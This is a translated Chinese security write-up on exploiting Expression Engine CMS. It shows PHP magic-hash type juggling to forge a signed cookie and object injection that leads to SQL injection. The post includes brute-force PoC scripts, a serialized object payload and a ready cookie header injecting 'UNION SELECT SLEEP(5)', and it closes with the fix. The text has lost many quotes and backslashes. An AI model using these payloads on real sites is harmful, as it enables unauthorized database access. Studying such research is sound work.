乾貨 || 另類PHP安全漏洞:利用弱類型和對象注入進行SQLi
最近,我在一個目標中尋找漏洞時,遇到了一個正在運行Expression Engine(一個CMS平台)的主機。 這個特殊的應用程序吸引了我,因為當我嘗試使用 「admin」 為用戶名登錄該應用程序時,伺服器響應的cookie中包含了PHP序列化數據。 如我們之前所說過的,反序列化用戶提供的數據可能導致意外的結果; 在某些情況下,甚至會導致代碼執行。 於是,我決定仔細檢查一下,而不是盲目的去測試,先看看我能否可以下載到這個CMS的源碼,通過代碼來弄清楚序列化數據的過程中到底發生了什麼,然後啟動一個本地搭建的副本進行測試。
當我有了這個CMS的源碼後,我使用grep命令定位到了使用cookie的位置,並找到文件「./system/ee/legacy/libraries/Session.php」,發現cookie用在了用戶會話維持,這個發現非常有意義。 仔細看了看Session.php,我發現了下面的方法,它負責將序列化的數據進行反序列化:
protected function _prep_flashdata()n {n if ($cookie = ee()->input->cookie(flash))n {n if (strlen($cookie) > 32)n {n $signature = substr($cookie, -32);n $payload = substr($cookie, 0, -32);n if (md5($payload.$this->sess_crypt_key) == $signature)n {n $this->flashdata = unserialize(stripslashes($payload));n $this->_age_flashdata();n return;n }n }n }n $this->flashdata = array();n }n
通過代碼,我們可以看到在我們的cookie被解析之前執行了一系列檢查,然後在1293行的代碼處進行了反序列化。所以讓我們先看看我們的cookie,通過檢查,看看我們是否可以調用到「unserialize()」:
a%3A2%3A%7Bs%3A13%3A%22%3Anew%3Ausername%22%3Bs%3A5%3A%22admin%22%3Bs%3A12%3A%22%3Anew%3Amessage%22%3Bs%3A38%3A%22That+is+the+wrong+username+or+password%22%3B%7D3f7d80e10a3d9c0a25c5f56199b067d4n
URL解碼後如下:
a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4n
如果存在flash cookie,我們就將數據載入到 「$ cookie」變數中(在1284行處的代碼),然後繼續往下執行。 接下來我們檢查cookie數據的長度是否大於32(在1286行處的代碼),繼續往下執行。 現在我們使用「substr()」來獲取cookie數據的最後32個字元,並將其存儲在「$signature」變數中,然後將其餘的cookie數據存儲在「$ payload」中,如下所示:
$ php -anInteractive mode enablednphp > $cookie = a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4;nphp > $signature = substr($cookie, -32);nphp > $payload = substr($cookie, 0, -32);nphp > print "Signature: $signaturen";nSignature: 3f7d80e10a3d9c0a25c5f56199b067d4nphp > print "Payload: $payloadn";nPayload: prod_flash=a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:29:"Invalid username or password.";}nphp >n
現在在第1291行的代碼中,我們計算了「$ payload.$ this-> sess_crypt_key」的md5哈希值,並將其與我們在如上所示的cookie結尾處提供的「$signature」進行比較。 通過快速查看代碼,發現「$ this-> sess_crypt_cookie」的值是從安裝時創建的「./system/user/config/config.php」這個文件中傳遞過來的:
./system/user/config/config.php:$config[encryption_key] = 033bc11c2170b83b2ffaaff1323834ac40406b79;n
所以讓我們將這個「$ this-> sess_crypt_key」手動定義為「$ salt」,看看md5哈希值:
php > $salt = 033bc11c2170b83b2ffaaff1323834ac40406b79;nphp > print md5($payload.$salt);n3f7d80e10a3d9c0a25c5f56199b067d4nphp >n
確定md5哈希值與「$ signature」相等。 執行此檢查的原因是為了確保「$payload」(即序列化的數據)的值未被篡改。 如此起來,這種檢查確實足以防止這種篡改; 然而,由於PHP是一種弱類型的語言,在執行比較時存在一些陷阱。
不嚴格的比較導致「翻船」
讓我們看一些比較鬆散的比較案例,以獲得一個好的構造payload的方法:
<?php nn$a = 1;n$b = 1;nnvar_dump($a);nvar_dump($b);nnif ($a == $b) { print "a and b are the samen"; }nelse { print "a and b are NOT the samen"; }n?>nnOutput:nn$ php steps.phpnint(1)nint(1)na and b are the samen<?php nn$a = 1;n$b = 0;nnvar_dump($a);nvar_dump($b);nnif ($a == $b) { print "a and b are the samen"; }nelse { print "a and b are NOT the samen"; }nn?>nnOutput:nn$ php steps.phpnint(1)nint(0)na and b are NOT the samen<?php nn$a = "these are the same";n$b = "these are the same";nnvar_dump($a);nvar_dump($b);nnif ($a == $b) { print "a and b are the samen"; }nelse { print "a and b are NOT the samen"; }nn?>nnOutput:nn$ php steps.phpnstring(18) "these are the same"nstring(18) "these are the same"na and b are the samen<?php nn$a = "these are NOT the same";n$b = "these are the same";nnvar_dump($a);nvar_dump($b);nnif ($a == $b) { print "a and b are the samen"; }nelse { print "a and b are NOT the samen"; }nn?>nnnnOutput:nn$ php steps.phpnstring(22) "these are NOT the same"nstring(18) "these are the same"na and b are NOT the samen
看起來PHP是 「有幫助」於比較操作運算,在比較時會將字元串轉換為整數。最後,現在讓我們看看當我們比較兩個看起來像用科學記數法寫成的整數的字元串時會發生什麼:
<?phpn$a = "0e111111111111111111111111111111";n$b = "0e222222222222222222222222222222";nvar_dump($a);nvar_dump($b);nif ($a == $b) { print "a and b are the samen"; }nelse { print "a and b are NOT the samen"; }n?>nnnOutput:n$ php steps.phpnstring(32) "0e111111111111111111111111111111"nstring(32) "0e222222222222222222222222222222"na and b are the samen
通過上面的結果可以看到,即使變數「$ a」和變數「$ b」都是字元串類型,並且明顯有著不同的值,使用寬鬆比較運算符會導致比較求值結果為true,因為在PHP中將「0ex」轉換為整數時總是為零。 這被稱為Type Juggling。
弱類型比較——Type Juggling
有了這個新的知識,讓我們重新檢查一下本應該防止我們篡改序列化數據的檢查:
if (md5($payload.$this->sess_crypt_key) == $signature)n
我們在這裡能夠控制「$ payload」的值和「$ signature」的值,所以如果我們能夠找到一個payload,使得「$ this->sess_crypt_key」的md5值成為一個以0e開頭並以所有數字結束的字元串,或者是 「$ signature」的MD5哈希值設置為以0e開頭並以所有數字結尾的值,我們就可以成功的繞過這種檢查。
為了測試這個想法,我修改了一些我在網上找到的代碼,我將爆破「md5($ payload.$ this-> sess_crypt_key),直到出現我「篡改」的payload。 來看看原來的「$ payload」的樣子:
$ php -anInteractive mode enablednphp > $cookie = a:2:{s:13:":new:username";s:5:"admin";s:12:":new:message";s:38:"That is the wrong username or password";}3f7d80e10a3d9c0a25c5f56199b067d4;nphp > $signature = substr($cookie, -32);nphp > $payload = substr($cookie, 0, -32);nphp > print_r(unserialize($payload));nArrayn(n[:new:username] => adminn[:new:message] => That is the wrong username or passwordn)nphp >n
在我的新的「$ payload」變數中,顯示的內容是「錯誤的用戶名或密碼」,而我想顯示的是「taquito」。
序列化數組的第一個元素「[:new:username] => admin」似乎是一個可以創建一個隨機值的好地方,所以這就是我們的爆破點。
注意:這個PoC是在我本地離線工作,因為我有權訪問我自己的實例「$ this-> sess_crypt_key」,如果我們不知道這個值,那麼我們就只能在線進行爆破了。
<?phpnset_time_limit(0);ndefine(HASH_ALGO, md5);ndefine(PASSWORD_MAX_LENGTH, 8);n$charset = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;n$str_length = strlen($charset);nfunction check($garbage)n{n $length = strlen($garbage);n $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";n $payload = a:2:{s:13:":new:username";s:.$length.:".$garbage.";s:12:":new:message";s:7:"taquito";};n #echo "Testing: " . $payload . "n";n $hash = md5($payload.$salt);n $pre = "0e";n if (substr($hash, 0, 2) === $pre) {n if (is_numeric($hash)) {n echo "$payload - $hashn";n }n }n}nfunction recurse($width, $position, $base_string)n{n global $charset, $str_length;n for ($i = 0; $i < $str_length; ++$i) {n if ($position < $width - 1) {n recurse($width, $position + 1, $base_string . $charset[$i]);n }n check($base_string . $charset[$i]);n }n}nfor ($i = 1; $i < PASSWORD_MAX_LENGTH + 1; ++$i) {n echo "Checking passwords with length: $in";n recurse($i, 0, );n}n?>n
當運行上面的代碼後,我們得到了一個修改過的「$ payload」的 md5哈希值並且我們的 「$ this-> sess_crypt_key」的實例是以0e開頭,並以數字結尾:
$ php poc1.phpnChecking passwords with length: 1nChecking passwords with length: 2nChecking passwords with length: 3nChecking passwords with length: 4nChecking passwords with length: 5na:2:{s:13:":new:username";s:5:"dLc5d";s:12:":new:message";s:7:"taquito";} - 0e553592359278167729317779925758n
讓我們將這個散列值與任何「$ signature」的值(我們所能夠提供的)進行比較,該值也以0e開頭並以所有數字結尾:
<?phpn$a = "0e553592359278167729317779925758";n$b = "0e222222222222222222222222222222";nvar_dump($a);nvar_dump($b);nif ($a == $b) { print "a and b are the samen"; }nelse { print "a and b are NOT the samen"; }n?>nnnOutput:n$ php steps.phpnstring(32) "0e553592359278167729317779925758"nstring(32) "0e222222222222222222222222222222"na and b are the samen
正如你所看到的,我們已經通過(濫用)Type Juggling成功地修改了原始的「$ payload」以包含我們的新消息「taquito」。
當PHP對象注入與弱類型相遇會得到什麼呢?SQLi么?
雖然能夠在瀏覽器中修改顯示的消息非常有趣,不過讓我們來看看當我們把我們自己的任意數據傳遞到「unserialize()」後還可以做點什麼。 為了節省自己的一些時間,讓我們修改一下代碼:
if(md5($ payload。$ this-> sess_crypt_key)== $ signature)n
修改為:if (1)
上述代碼在「./system/ee/legacy/libraries/Session.php」文件中,修改之後,可以在執行「unserialize()」時,我們不必提供有效的簽名。
現在,已知的是我們可以控制序列化數組裡面「[:new:username] => admin」的值,我們繼續看看「./system/ee/legacy/libraries/Session.php」的代碼,並注意以下方法:
function check_password_lockout($username = )n {n if (ee()->config->item(password_lockout) == n ORn ee()->config->item(password_lockout_interval) == )n {n return FALSE;n }n $interval = ee()->config->item(password_lockout_interval) * 60;n $lockout = ee()->db->select("COUNT(*) as count")n ->where(login_date > , time() - $interval)n ->where(ip_address, ee()->input->ip_address())n ->where(username, $username)n ->get(password_lockout);n return ($lockout->row(count) >= 4) ? TRUE : FALSE;n }n
這個方法沒毛病,因為它在資料庫中檢查了提供的「$ username」是否被鎖定為預認證。 因為我們可以控制「$ username」的值,所以我們應該能夠在這裡注入我們自己的SQL查詢語句,從而導致一種SQL注入的形式。這個CMS使用了資料庫驅動程序類來與資料庫進行交互,但原始的查詢語句看起來像這樣(我們可以猜的相當接近):
SELECT COUNT(*) as count FROM (`exp_password_lockout`) WHERE `login_date` > $interval AND `ip_address` = $ip_address AND `username` = $username;n
修改「$payload」為:
a:2:{s:13:":new:username";s:1:"";s:12:":new:message";s:7:"taquito";}n
並將其發送到頁面出現了如下錯誤信息,但由於某些原因,我們什麼也沒有得到……
「Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 」』 at line」n
不是我想要的類型…
經過一番搜索後,我在「./system/ee/legacy/database/DB_driver.php」中看到了以下代碼:
function escape($str)n {n if (is_string($str))n {n $str = "".$this->escape_str($str)."";n }n elseif (is_bool($str))n {n $str = ($str === FALSE) ? 0 : 1;n }n elseif (is_null($str))n {n $str = NULL;n }n return $str;n }n
在第527行,我們看到程序對我們提供的值執行了「is_string()」檢查,如果它返回了true,我們的值就會被轉義。 我們可以通過在函數的開頭和結尾放置「var_dump」並檢查輸出來確認這裡到底發生了什麼:
前:
string(1) "y"nint(1)nint(1)nint(1)nint(0)nint(1)nint(3)nint(0)nint(1)nint(1486399967)nstring(11) "192.168.1.5"nstring(1) ""nint(1)n
後:
string(3) "y"nint(1)nint(1)nint(1)nint(0)nint(1)nint(3)nint(0)nint(1)nint(1486400275)nstring(13) "192.168.1.5"nstring(4) ""nint(1)n
果然,我們可以看到我們的「」的值已經被轉義,現在是「」。 幸運的是,對我們來說,我們還有辦法。
轉義檢查只是檢查看看「$ str」是一個字元串還是一個布爾值或是null; 如果它匹配不了任何這幾個類型,「$ str」將返回非轉義的值。 這意味著如果我們提供一個「對象」,那麼我們應該能夠繞過這個檢查。 但是,這也意味著接下來我們需要搜索一個我們可以使用的對象。
自動載入給了我希望!
通常,當我們尋找可以利用unserialize的類時,我們通常使用魔術方法(如「__wakeup」或「__destruct」)來尋找類,但是有時候應用程序實際上會使用自動載入器。 自動載入背後的一般想法是,當一個對象被創建後,PHP就會檢查它是否知道該類的任何東西,如果不是,它就會自動載入這個對象。 對我們來說,這意味著我們不必依賴包含「__wakeup」或「__destruct」方法的類。 我們只需要找到一個調用我們控制的「__toString」的類,因為應用程序會嘗試將 「$ username」變數作為字元串使用。
尋找如這個文件中所包含的類:
「./system/ee/EllisLab/ExpressionEngine/Library/Parser/Conditional/Token/Variable.php」:nnn<?phpn namespace EllisLabExpressionEngineLibraryParserConditionalToken;n class Variable extends Token {n protected $has_value = FALSE;n public function __construct($lexeme)n {n parent::__construct(VARIABLE, $lexeme);n }n public function canEvaluate()n {n return $this->has_value;n }n public function setValue($value)n {n if (is_string($value))n {n $value = str_replace(n array({, }),n array({, }),n $valuen );n }n $this->value = $value;n $this->has_value = TRUE;n }n public function value()n {n // in this case the parent assumption is wrongn // our value is definitely *not* the template stringn if ( ! $this->has_value)n {n return NULL;n }n return $this->value;n }n public function __toString()n {n if ($this->has_value)n {n return var_export($this->value, TRUE);n }n return $this->lexeme;n }n }n // EOFn
這個類看起來非常完美! 我們可以看到對象使用參數「$lexeme」調用了方法「__construct」,然後調用「__toString」,將參數「$ lexeme」作為字元串返回。 這正是我們正在尋找的類。 讓我們組合起來快速為我們創建序列化對象對應的POC:
<?phpnnamespace EllisLabExpressionEngineLibraryParserConditionalToken;nclass Variable {n public $lexeme = FALSE;n}n$x = new Variable();n$x->lexeme = "";necho serialize($x)."n";n?>nOutput:n$ php poc.phpnO:67:"EllisLabExpressionEngineLibraryParserConditionalTokenVariable":1:{s:6:"lexeme";s:1:"";}n
經過幾個小時的試驗和錯誤嘗試,最終得出一個結論:轉義在搞鬼。 當我們將我們的對象添加到我們的數組中後,我們需要修改上面的對象(注意額外的斜線):
a:1:{s:13:":new:username";O:67:"EllisLabExpressionEngineLibraryParserConditionalTokenVariable":1:{s:6:"lexeme";s:1:"";}}n
我們在代碼之前插入用於調試的「var_dump」,然後發送上面的payload,顯示的信息如下:
string(3) "y"nint(1)nint(1)nint(1)nint(0)nint(1)nint(3)nint(0)nint(1)nint(1486407246)nstring(13) "192.168.1.5"nobject(EllisLabExpressionEngineLibraryParserConditionalTokenVariable)#177 (6) {n ["has_value":protected]=>n bool(false)n ["type"]=>n NULLn ["lexeme"]=>n string(1) ""n ["context"]=>n NULLn ["lineno"]=>n NULLn ["value":protected]=>n NULLn}n
注意,現在我們有了一個「對象」而不是一個「字元串」,「lexeme」的值是我們的非轉義「」的值!可以在頁面中更進一步來確認:
<h1>Exception Caught</h1>n<h2>SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near at line 5:nSELECT COUNT(*) as countnFROM (`exp_password_lockout`)nWHERE `login_date` &gt; 1486407246nAND `ip_address` = 192.168.1.5nAND `username` = </h2>nmysqli_connection.php:122n
Awww! 我們已經成功地通過PHP對象注入實現了SQL注入,從而將我們自己的數據注入到了SQL查詢語句中!
PoC!
最後,我創建了一個PoC來將Sleep(5)注入到資料庫。 最讓我頭疼的就是應用程序中計算「md5()」時的反斜杠的數量與成功執行「unserialize()」需要的斜杠數量, 不過,一旦發現解決辦法,就可以導致以下結果:
<?phpnset_time_limit(0);ndefine(HASH_ALGO, md5);ndefine(garbage_MAX_LENGTH, 8);n$charset = abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789;n$str_length = strlen($charset);nfunction check($garbage)n{n $length = strlen($garbage) + 26;n $salt = "033bc11c2170b83b2ffaaff1323834ac40406b79";n $payload = a:1:{s:+13:":new:username";O:67:"EllisLabExpressionEngineLibraryParserConditionalTokenVariable":1:{s:+6:"lexeme";s:+.$length.:"1 UNION SELECT SLEEP(5) # .$garbage.";}};n #echo "Testing: " . $payload . "n";n $hash = md5($payload.$salt);n $pre = "0e";n if (substr($hash, 0, 2) === $pre) {n if (is_numeric($hash)) {n echo "$payload - $hashn";n }n }n}nfunction recurse($width, $position, $base_string)n{n global $charset, $str_length;n for ($i = 0; $i < $str_length; ++$i) {n if ($position < $width - 1) {n recurse($width, $position + 1, $base_string . $charset[$i]);n }n check($base_string . $charset[$i]);n }n}nfor ($i = 1; $i < garbage_MAX_LENGTH + 1; ++$i) {n echo "Checking garbages with length: $in";n recurse($i, 0, );n}n?>nOutput:n$ php poc2.phpna:1:{s:+13:":new:username";O:67:"EllisLabExpressionEngineLibraryParserConditionalTokenVariable":1:{s:+6:"lexeme";s:+31:"1 UNION SELECT SLEEP(5) # v40vP";}} - 0e223968250284091802226333601821n
以及我們發送到伺服器的payload(再次注意那些額外的斜杠):
Cookie: exp_flash=a%3a1%3a{s%3a%2b13%3a"%3anew%3ausername"%3bO%3a67%3a"EllisLabExpressionEngineLibraryParserConditionalTokenVariable"%3a1%3a{s%3a%2b6%3a"lexeme"%3bs%3a%2b31%3a"1+UNION+SELECT+SLEEP(5)+%23+v40vP"%3b}}0e223968250284091802226333601821n
五秒後我們就得到了伺服器的響應。
修復方案 !
這種類型的漏洞修復真的可以歸結為一個「=」,將:if (md5($payload.$this->sess_crypt_key) == $signature)替換為:if (md5($payload.$this->sess_crypt_key) === $signature)
除此之外,不要「unserialize()」用戶提供的數據!
本文參考來源於foxglovesecurity,如若轉載,請註明來源於嘶吼: 另類PHP安全漏洞:利用弱類型和對象注入進行SQLi 更多內容請關注「嘶吼專業版」——Pro4hou
推薦閱讀:
※我應該選擇前端,還是繼續搞PHP?
※你用PHP寫過哪些好玩的東西呢?
※有哪些適合高並發、高性能網站的 PHP 框架推薦?
※新系統(ubuntu)搭建php7.1+nginx+mongodb3.2線上環境
※猿哥的100條經驗|輕鬆解決用戶簡訊發送的各種問題